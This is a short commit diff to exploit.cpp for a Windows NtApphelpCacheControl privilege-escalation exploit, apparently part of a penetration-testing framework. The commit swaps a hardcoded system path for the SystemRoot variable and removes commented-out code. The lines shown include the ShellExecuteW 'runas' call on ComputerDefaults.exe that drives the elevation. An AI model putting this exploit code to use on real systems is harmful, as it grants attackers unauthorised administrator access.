Update exploit.cpp

Author: wchen-r7

external/source/exploits/ntapphelpcachecontrol/exploit.cpp

@@ -177,7 +177,8 @@ DWORD CALLBACK ExploitThread(LPVOID hModule)
 
 	ApphelpCacheControlData data = { 0 };
 
-	std::wstring exe = L"C:\\Windows\\System32\\ComputerDefaults.exe";
+	std::wstring exe = GetEnvVar(L"SystemRoot");
+	exe += L"\\System32\\ComputerDefaults.exe";
 
 	std::wstring full_path = L"\\??\\";
 	full_path += exe.c_str();
@@ -225,14 +226,8 @@ DWORD CALLBACK ExploitThread(LPVOID hModule)
 	{
 		LPCWSTR verb = L"runas";
 
-		//if ((argc > 3) && (wcscmp(argv[3], L"-n") == 0))
-		//{
-		//	verb = L"open";
-		//}
-
 		printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str());
 		ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW);
-
 		printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data));
 	}
 	else